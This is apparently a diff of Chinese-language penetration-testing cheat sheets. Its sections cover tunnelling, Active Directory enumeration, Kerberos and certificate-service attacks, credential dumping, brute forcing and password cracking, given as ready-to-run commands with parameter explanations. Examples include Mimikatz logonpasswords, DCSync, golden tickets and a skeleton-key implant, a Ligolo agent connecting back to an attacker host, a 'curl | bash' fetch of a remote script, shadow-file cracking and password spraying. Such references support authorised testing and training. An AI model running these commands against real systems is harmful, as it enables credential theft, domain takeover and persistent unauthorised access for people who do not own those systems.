||||
nxc smb target_ip -u admin -p password --ntds
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Ligolo-ng `ligolo-ng`
|
||||
_高级内网隧道代理工具，基于TUN接口_
|
||||
|
||||
**Step 0**
|
||||
> 在攻击机上配置TUN接口和启动代理
|
||||
_platform: linux_
|
||||
```
|
||||
# 创建TUN接口
|
||||
sudo ip tuntap add user $(whoami) mode tun ligolo
|
||||
sudo ip link set ligolo up
|
||||
|
||||
# 启动代理服务
|
||||
./proxy -selfcert -laddr 0.0.0.0:11601
|
||||
```
|
||||
**语法解析：**
|
||||
- `ip tuntap add` — 创建TUN虚拟网络接口 _command_
|
||||
- `-selfcert` — 使用自签名证书 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 在目标机运行Agent连接回攻击机
|
||||
```
|
||||
./agent -connect attacker_ip:11601 -ignore-cert
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 配置路由实现内网直通
|
||||
_platform: linux_
|
||||
```
|
||||
# 在Ligolo控制台:
|
||||
session
|
||||
start
|
||||
# 在攻击机添加路由:
|
||||
sudo ip route add 10.10.10.0/24 dev ligolo
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SharpHound `sharphound`
|
||||
_BloodHound的C#数据收集器，在Windows域内收集AD信息_
|
||||
|
||||
**Step 0**
|
||||
> 收集所有AD域信息(用户/组/ACL/Session等)
|
||||
_platform: windows_
|
||||
```
|
||||
.\SharpHound.exe -c All
|
||||
```
|
||||
**语法解析：**
|
||||
- `-c All` — 收集所有类型的数据 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 仅从DC收集，不保存缓存，随机文件名
|
||||
_platform: windows_
|
||||
```
|
||||
.\SharpHound.exe -c DCOnly --NoSaveCache --RandomFilenames --MemCache
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 循环收集Session信息(2小时，每5分钟一次)
|
||||
_platform: windows_
|
||||
```
|
||||
.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 收集指定子域的信息
|
||||
_platform: windows_
|
||||
```
|
||||
.\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### BloodHound-Python `bloodhound-python`
|
||||
_BloodHound的Python数据收集器，可从Linux远程收集AD信息_
|
||||
|
||||
**Step 0**
|
||||
> 从Linux远程收集AD域全量信息
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound-python -d domain.com -u user -p password -ns dc_ip -c All
|
||||
```
|
||||
**语法解析：**
|
||||
- `-d` — 目标域名 _parameter_
|
||||
- `-ns` — DNS服务器(通常是DC) _parameter_
|
||||
- `-c All` — 收集所有类型数据 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用NTLM哈希进行Pass-the-Hash收集
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound-python -d domain.com -u user --hashes aad3b435b51404eeaad3b435b51404ee:ntlm_hash -ns dc_ip -c All
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 仅收集组、本地管理员和会话信息
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Rubeus `rubeus`
|
||||
_Kerberos攻击工具集，用于票据操作和Kerberos攻击_
|
||||
|
||||
**Step 0**
|
||||
> 请求服务票据用于离线破解
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe kerberoast /outfile:hashes.txt
|
||||
Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `kerberoast` — 请求TGS票据进行离线破解 _command_
|
||||
- `/outfile` — 保存哈希到文件 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 对不需要预认证的账户请求AS-REP
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导入Kerberos票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe ptt /ticket:base64_ticket
|
||||
Rubeus.exe ptt /ticket:ticket.kirbi
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用密码或哈希请求TGT票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe asktgt /user:user /password:pass /enctype:aes256 /ptt
|
||||
Rubeus.exe asktgt /user:user /rc4:ntlm_hash /ptt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> S4U约束委派攻击
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Certipy `certipy`
|
||||
_AD CS(Active Directory证书服务)攻击工具_
|
||||
|
||||
**Step 0**
|
||||
> 枚举可利用的证书模板
|
||||
```
|
||||
certipy find -u user@domain.com -p password -dc-ip dc_ip -enabled -vulnerable
|
||||
```
|
||||
**语法解析：**
|
||||
- `find` — 枚举模式 _command_
|
||||
- `-vulnerable` — 仅显示可利用的模板 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> ESC1: 利用允许SAN的模板伪造管理员证书
|
||||
```
|
||||
certipy req -u user@domain.com -p password -ca CA-NAME -template VULN_TEMPLATE -upn admin@domain.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用证书进行PKINIT认证获取NT Hash
|
||||
```
|
||||
certipy auth -pfx admin.pfx -dc-ip dc_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Shadow Credentials攻击获取目标用户凭证
|
||||
```
|
||||
certipy shadow auto -u user@domain.com -p password -account target_user
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### LaZagne `lazagne-tool`
|
||||
_自动化本地密码恢复工具，支持数十种应用_
|
||||
|
||||
**Step 0**
|
||||
> 提取所有支持应用的密码
|
||||
_platform: windows_
|
||||
```
|
||||
lazagne.exe all
|
||||
```
|
||||
**语法解析：**
|
||||
- `all` — 搜索所有支持的应用程序 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 仅提取指定类别的密码
|
||||
_platform: windows_
|
||||
```
|
||||
lazagne.exe browsers
|
||||
lazagne.exe wifi
|
||||
lazagne.exe databases
|
||||
lazagne.exe sysadmin
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Linux版本使用方式
|
||||
_platform: linux_
|
||||
```
|
||||
python3 lazagne.py all
|
||||
python3 lazagne.py browsers
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Seatbelt `seatbelt`
|
||||
_C#安全审计工具，快速收集Windows系统安全相关信息_
|
||||
|
||||
**Step 0**
|
||||
> 执行所有安全检查
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=all -full
|
||||
```
|
||||
**语法解析：**
|
||||
- `-group=all` — 运行所有检查组 _parameter_
|
||||
- `-full` — 详细输出模式 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 检查系统和用户相关安全配置
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=system -group=user
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 运行指定的检查模块
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe CredEnum WindowsVault SavedRDPConnections RecentFiles
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 远程执行安全审计
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=remote -computername=target -username=admin -password=pass
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### WinPEAS `winpeas`
|
||||
_Windows权限提升辅助脚本，自动发现提权路径_
|
||||
|
||||
**Step 0**
|
||||
> 执行所有Windows提权检查
|
||||
_platform: windows_
|
||||
```
|
||||
winpeasany.exe
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 快速模式(跳过耗时检查)
|
||||
_platform: windows_
|
||||
```
|
||||
winpeasany.exe fast
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 仅检查指定类别
|
||||
_platform: windows_
|
||||
```
|
||||
winpeasany.exe servicesinfo
|
||||
winpeasany.exe userinfo
|
||||
winpeasany.exe systeminfo
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 将结果保存到文件
|
||||
_platform: windows_
|
||||
```
|
||||
winpeasany.exe log=output.txt
|
||||
winpeasany.exe /quiet > output.txt 2>&1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### LinPEAS `linpeas`
|
||||
_Linux权限提升辅助脚本，自动发现提权路径_
|
||||
|
||||
**Step 0**
|
||||
> 执行所有Linux提权检查
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 全面扫描(含耗时检查)并输出到文件
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh -a -o output.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 无文件落地直接执行
|
||||
_platform: linux_
|
||||
```
|
||||
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定检查类别
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh -s
|
||||
# -s: 仅超快速检查
|
||||
# -P: 仅密码相关
|
||||
# -n: 仅网络信息
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,186 @@
|
||||
# 凭证窃取
|
||||
|
||||
_3 条工具命令_
|
||||
|
||||
### Mimikatz `mimikatz-tool`
|
||||
_Windows凭证提取工具_
|
||||
|
||||
**Step 0**
|
||||
> 获取Debug权限
|
||||
_platform: windows_
|
||||
```
|
||||
privilege::debug
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 抓取所有登录凭证
|
||||
_platform: windows_
|
||||
```
|
||||
sekurlsa::logonpasswords
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 从LSASS转储文件提取
|
||||
_platform: windows_
|
||||
```
|
||||
sekurlsa::minidump lsass.dmp
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 哈希传递攻击
|
||||
_platform: windows_
|
||||
```
|
||||
sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> DCSync获取域管哈希
|
||||
_platform: windows_
|
||||
```
|
||||
lsadump::dcsync /domain:domain.com /user:Administrator
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导出SAM数据库
|
||||
_platform: windows_
|
||||
```
|
||||
lsadump::sam
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导出LSA密钥
|
||||
_platform: windows_
|
||||
```
|
||||
lsadump::lsa /inject
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成黄金票据
|
||||
_platform: windows_
|
||||
```
|
||||
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成白银票据
|
||||
_platform: windows_
|
||||
```
|
||||
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 列出Kerberos票据
|
||||
_platform: windows_
|
||||
```
|
||||
kerberos::list
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导出Kerberos票据
|
||||
_platform: windows_
|
||||
```
|
||||
kerberos::list /export
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 植入万能密码
|
||||
_platform: windows_
|
||||
```
|
||||
misc::skeleton
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Rubeus `rubeus-tool`
|
||||
_Kerberos攻击工具_
|
||||
|
||||
**Step 0**
|
||||
> Kerberoasting攻击
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe kerberoast /stats
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> AS-REP Roasting攻击
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe asreproast /user:username
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 请求TGT票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe asktgt /user:username /password:password
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 请求服务票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe asktgs /service:cifs/server.domain.com /ticket:TICKET_BASE64
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> S4U协议攻击
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成黄金票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 注入票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe ptt /ticket:TICKET_BASE64
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 列出当前票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe klist
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 监视新票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe monitor /interval:30
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### DonPAPI `donpapi-tool`
|
||||
_DPAPI凭证提取工具_
|
||||
|
||||
**Step 0**
|
||||
> 提取DPAPI凭证
|
||||
_platform: linux_
|
||||
```
|
||||
donpapi domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用哈希认证
|
||||
_platform: linux_
|
||||
```
|
||||
donpapi -hashes :NTHASH domain/user@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 批量提取凭证
|
||||
_platform: linux_
|
||||
```
|
||||
donpapi domain/user:password@targets.txt
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,50 @@
|
||||
# 域渗透
|
||||
|
||||
_1 条工具命令_
|
||||
|
||||
### Certipy `certipy-tool`
|
||||
_ADCS证书服务攻击工具_
|
||||
|
||||
**Step 0**
|
||||
> 枚举证书服务
|
||||
_platform: linux_
|
||||
```
|
||||
certipy find -u user@domain.com -p password -dc-ip dc_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> ESC1模板滥用
|
||||
_platform: linux_
|
||||
```
|
||||
certipy req -u user@domain.com -p password -ca CA_NAME -template Template -upn Administrator@domain.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> ESC2任意用途
|
||||
_platform: linux_
|
||||
```
|
||||
certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用证书认证
|
||||
_platform: linux_
|
||||
```
|
||||
certipy auth -pfx administrator.pfx -domain domain.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> HTTP中继攻击
|
||||
_platform: linux_
|
||||
```
|
||||
certipy relay -ca ca_server -template DomainController
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导出PFX证书
|
||||
_platform: linux_
|
||||
```
|
||||
certipy req -u user@domain.com -p password -ca CA_NAME -template User -out user.pfx
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,462 @@
|
||||
# 密码攻击
|
||||
|
||||
_11 条工具命令_
|
||||
|
||||
### Hydra `hydra`
|
||||
_网络登录破解工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用用户名和密码字典爆破SSH
|
||||
_platform: linux_
|
||||
```
|
||||
hydra -l user -P wordlist.txt ssh://target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `hydra` — Hydra破解工具 _command_
|
||||
- `-l` — 指定用户名 _parameter_
|
||||
- `-L` — 指定用户名字典文件 _parameter_
|
||||
- `-p` — 指定密码 _parameter_
|
||||
- `-P` — 指定密码字典文件 _parameter_
|
||||
- `ssh://` — 目标服务协议 _value_
|
||||
|
||||
**Step 0**
|
||||
> 爆破FTP服务
|
||||
_platform: linux_
|
||||
```
|
||||
hydra -L users.txt -P passwords.txt ftp://target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 爆破HTTP表单登录
|
||||
_platform: linux_
|
||||
```
|
||||
hydra -l admin -P wordlist.txt target_ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
|
||||
```
|
||||
**语法解析：**
|
||||
- `http-post-form` — HTTP POST表单模块 _value_
|
||||
- `^USER^` — 用户名占位符 _value_
|
||||
- `^PASS^` — 密码占位符 _value_
|
||||
- `Invalid` — 失败响应标识 _value_
|
||||
|
||||
**Step 0**
|
||||
> 爆破RDP服务
|
||||
_platform: linux_
|
||||
```
|
||||
hydra -l administrator -P wordlist.txt rdp://target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 爆破MySQL数据库
|
||||
_platform: linux_
|
||||
```
|
||||
hydra -l root -P wordlist.txt mysql://target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定线程数
|
||||
_platform: linux_
|
||||
```
|
||||
hydra -t 4 -l user -P wordlist.txt ssh://target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-t` — 并发线程数 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 恢复之前中断的任务
|
||||
_platform: linux_
|
||||
```
|
||||
hydra -R
|
||||
```
|
||||
**语法解析：**
|
||||
- `-R` — 恢复任务 _parameter_
|
||||
|
||||
---
|
||||
|
||||
### John the Ripper `john`
|
||||
_密码破解工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用字典破解哈希
|
||||
_platform: linux_
|
||||
```
|
||||
john --wordlist=wordlist.txt hash.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `john` — John破解工具 _command_
|
||||
- `--wordlist=` — 指定字典文件 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 指定哈希格式
|
||||
_platform: linux_
|
||||
```
|
||||
john --wordlist=wordlist.txt --format=raw-md5 hash.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `--format=` — 指定哈希格式 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 显示已破解的密码
|
||||
_platform: linux_
|
||||
```
|
||||
john --show hash.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `--show` — 显示结果 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 破解Linux密码文件
|
||||
_platform: linux_
|
||||
```
|
||||
unshadow /etc/passwd /etc/shadow > mypasswd
|
||||
john --wordlist=wordlist.txt mypasswd
|
||||
```
|
||||
**语法解析：**
|
||||
- `unshadow` — 合并passwd和shadow文件 _command_
|
||||
|
||||
**Step 0**
|
||||
> 破解ZIP文件密码
|
||||
_platform: linux_
|
||||
```
|
||||
zip2john protected.zip > zip.hash
|
||||
john --wordlist=wordlist.txt zip.hash
|
||||
```
|
||||
**语法解析：**
|
||||
- `zip2john` — 提取ZIP密码哈希 _command_
|
||||
|
||||
**Step 0**
|
||||
> 破解RAR文件密码
|
||||
_platform: linux_
|
||||
```
|
||||
rar2john protected.rar > rar.hash
|
||||
john --wordlist=wordlist.txt rar.hash
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 破解SSH私钥密码
|
||||
_platform: linux_
|
||||
```
|
||||
ssh2john id_rsa > ssh.hash
|
||||
john --wordlist=wordlist.txt ssh.hash
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用暴力破解模式
|
||||
_platform: linux_
|
||||
```
|
||||
john --incremental hash.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `--incremental` — 暴力破解模式 _parameter_
|
||||
|
||||
---
|
||||
|
||||
### Hashcat `hashcat`
|
||||
_GPU加速密码破解工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用字典破解MD5哈希
|
||||
_platform: linux_
|
||||
```
|
||||
hashcat -m 0 -a 0 hash.txt wordlist.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `hashcat` — Hashcat破解工具 _command_
|
||||
- `-m 0` — 哈希类型(MD5) _parameter_
|
||||
- `-a 0` — 攻击模式(字典攻击) _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 暴力破解模式
|
||||
_platform: linux_
|
||||
```
|
||||
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a
|
||||
```
|
||||
**语法解析：**
|
||||
- `-a 3` — 暴力破解模式 _parameter_
|
||||
- `?a` — 所有字符掩码 _value_
|
||||
|
||||
**Step 0**
|
||||
> 掩码字符集说明
|
||||
```
|
||||
?l = abcdefghijklmnopqrstuvwxyz
|
||||
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
|
||||
?d = 0123456789
|
||||
?s = 特殊字符
|
||||
?a = 所有字符
|
||||
?b = 0x00-0xff
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用规则文件进行破解
|
||||
_platform: linux_
|
||||
```
|
||||
hashcat -m 0 -a 0 hash.txt wordlist.txt -r rules/best64.rule
|
||||
```
|
||||
**语法解析：**
|
||||
- `-r` — 指定规则文件 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 组合两个字典
|
||||
_platform: linux_
|
||||
```
|
||||
hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `-a 1` — 组合攻击模式 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 常用哈希类型编号
|
||||
```
|
||||
-m 0 = MD5
|
||||
-m 100 = SHA1
|
||||
-m 1400 = SHA256
|
||||
-m 1700 = SHA512
|
||||
-m 1000 = NTLM
|
||||
-m 1800 = SHA512crypt
|
||||
-m 3200 = bcrypt
|
||||
-m 5600 = NetNTLMv2
|
||||
-m 13100 = Kerberos TGS
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 显示已破解的结果
|
||||
_platform: linux_
|
||||
```
|
||||
hashcat -m 0 hash.txt --show
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 测试GPU性能
|
||||
_platform: linux_
|
||||
```
|
||||
hashcat -b
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Kerbrute `kerbrute-tool`
|
||||
_Kerberos暴力破解工具_
|
||||
|
||||
**Step 0**
|
||||
> 枚举域用户
|
||||
```
|
||||
kerbrute userenum -d domain.com --dc dc_ip users.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 密码喷洒攻击
|
||||
```
|
||||
kerbrute passwordspray -d domain.com --dc dc_ip users.txt Password123
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 暴力破解用户
|
||||
```
|
||||
kerbrute bruteuser -d domain.com --dc dc_ip wordlist.txt username
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 验证凭证
|
||||
```
|
||||
kerbrute -d domain.com --dc dc_ip user:password
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Medusa `medusa`
|
||||
_快速并行网络登录暴力破解工具_
|
||||
|
||||
**Step 0**
|
||||
> 4线程SSH密码暴力破解
|
||||
```
|
||||
medusa -h target_ip -u admin -P passwords.txt -M ssh -t 4
|
||||
```
|
||||
**语法解析：**
|
||||
- `medusa` — 并行网络登录破解工具 _command_
|
||||
- `-h` — 目标主机 _parameter_
|
||||
- `-u` — 用户名 _parameter_
|
||||
- `-P` — 密码字典文件 _parameter_
|
||||
- `-M ssh` — 指定协议模块 _parameter_
|
||||
- `-t 4` — 并发线程数 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> RDP远程桌面密码破解
|
||||
```
|
||||
medusa -h target_ip -U users.txt -P passwords.txt -M rdp -t 2
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> FTP破解(找到密码后停止)
|
||||
```
|
||||
medusa -h target_ip -U users.txt -P passwords.txt -M ftp -f
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 批量主机爆破(5台并行)
|
||||
```
|
||||
medusa -H hosts.txt -U users.txt -P pass.txt -M ssh -t 3 -T 5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Ncrack `ncrack`
|
||||
_Nmap项目出品的高速网络认证破解工具_
|
||||
|
||||
**Step 0**
|
||||
> SSH认证暴力破解
|
||||
```
|
||||
ncrack -vv -U users.txt -P passwords.txt ssh://target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `ncrack` — 高速网络认证破解工具 _command_
|
||||
- `-vv` — 详细输出 _parameter_
|
||||
- `ssh://target_ip` — 协议://目标格式 _value_
|
||||
|
||||
**Step 0**
|
||||
> 同时破解多个目标的不同服务
|
||||
```
|
||||
ncrack -U users.txt -P pass.txt ssh://10.0.0.1 rdp://10.0.0.2 ftp://10.0.0.3
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 直接导入Nmap扫描结果进行破解
|
||||
```
|
||||
ncrack -iX nmap_scan.xml -U users.txt -P pass.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Crowbar `crowbar`
|
||||
_专注RDP/VNC/SSH密钥/OpenVPN的暴力破解工具_
|
||||
|
||||
**Step 0**
|
||||
> RDP密码暴力破解(2线程)
|
||||
```
|
||||
crowbar -b rdp -s target_ip/32 -u admin -C passwords.txt -n 2
|
||||
```
|
||||
**语法解析：**
|
||||
- `-b rdp` — 指定协议类型 _parameter_
|
||||
- `-s` — 目标IP/CIDR _parameter_
|
||||
- `-n 2` — 并发连接数 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 尝试多个SSH私钥登录
|
||||
```
|
||||
crowbar -b sshkey -s target_ip/32 -u root -k /path/to/keys/
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> VNC认证暴力破解
|
||||
```
|
||||
crowbar -b vnckey -s target_ip/32 -p password -k /path/to/keys/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Patator `patator`
|
||||
_多用途模块化暴力破解工具，支持数十种协议_
|
||||
|
||||
**Step 0**
|
||||
> SSH登录暴力破解
|
||||
```
|
||||
patator ssh_login host=target_ip user=FILE0 password=FILE1 0=users.txt 1=passwords.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `ssh_login` — 使用SSH登录模块 _command_
|
||||
- `FILE0/FILE1` — 引用字典文件(0和1编号) _variable_
|
||||
|
||||
**Step 0**
|
||||
> HTTP登录表单暴力破解
|
||||
```
|
||||
patator http_fuzz url="https://target.com/login" method=POST body="user=FILE0&pass=FILE1" 0=users.txt 1=pass.txt -x ignore:fgrep="Login failed"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> FTP密码暴力破解
|
||||
```
|
||||
patator ftp_login host=target_ip user=admin password=FILE0 0=passwords.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### CrackStation `crackstation`
|
||||
_在线哈希查询和离线超大字典_
|
||||
|
||||
**Step 0**
|
||||
> 在线哈希值反查明文密码
|
||||
```
|
||||
# 访问 https://crackstation.net
|
||||
# 输入哈希值(支持MD5/SHA1/SHA256等)
|
||||
# 支持批量查询(每行一个哈希)
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用CrackStation超大字典离线破解
|
||||
```
|
||||
# CrackStation字典(15GB+):
|
||||
# https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
|
||||
# 配合hashcat使用:
|
||||
hashcat -m 0 hashes.txt crackstation.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SecLists字典 `seclists`
|
||||
_安全测试人员必备的字典集合(目录、密码、用户名、Payload等)_
|
||||
|
||||
**Step 0**
|
||||
> SecLists常用字典路径
|
||||
_platform: linux_
|
||||
```
|
||||
# 目录字典:
|
||||
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
|
||||
/usr/share/seclists/Discovery/Web-Content/common.txt
|
||||
|
||||
# 密码字典:
|
||||
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
|
||||
|
||||
# 用户名:
|
||||
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 特殊用途字典(LFI/SQLi/子域名/参数)
|
||||
_platform: linux_
|
||||
```
|
||||
# Fuzzing Payload:
|
||||
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
|
||||
/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
|
||||
|
||||
# 子域名:
|
||||
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
|
||||
|
||||
# 参数名:
|
||||
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### RockYou字典 `rockyou`
|
||||
_来自2009年RockYou数据泄露的经典密码字典(1400万+)_
|
||||
|
||||
**Step 0**
|
||||
> 解压Kali自带的rockyou字典
|
||||
_platform: linux_
|
||||
```
|
||||
gzip -d /usr/share/wordlists/rockyou.txt.gz
|
||||
wc -l /usr/share/wordlists/rockyou.txt # 约14344392行
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 配合各种密码破解工具使用
|
||||
```
|
||||
# Hashcat:
|
||||
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
|
||||
|
||||
# John:
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
|
||||
|
||||
# Hydra:
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,168 @@
|
||||
# 权限提升
|
||||
|
||||
_3 条工具命令_
|
||||
|
||||
### Linux提权命令 `linux-privilege`
|
||||
_Linux系统提权常用命令_
|
||||
|
||||
